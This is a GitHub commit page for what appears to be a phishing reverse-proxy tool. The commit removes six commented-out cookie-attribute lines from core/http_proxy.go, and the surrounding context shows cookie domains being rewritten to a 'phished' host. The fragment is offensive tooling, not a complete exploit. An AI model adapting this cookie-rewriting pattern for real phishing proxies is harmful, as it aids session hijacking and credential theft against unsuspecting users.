Skip to content

Commit

Permalink
removed some obsolete code
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Feb 2, 2021
1 parent 65b0084 commit 4ce3bbf
Showing 1 changed file with 0 additions and 6 deletions.
6 changes: 0 additions & 6 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -699,12 +699,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}

//ck.Secure = false
//ck.MaxAge = 0
//if time.Now().Before(ck.Expires) {
// ck.Expires, _ = time.Parse("1600-01-01", "1600-01-01")
//}

ck.Domain, _ = p.replaceHostWithPhished(ck.Domain)
resp.Header.Add("Set-Cookie", ck.String())
}
Expand Down

0 comments on commit 4ce3bbf

Please sign in to comment.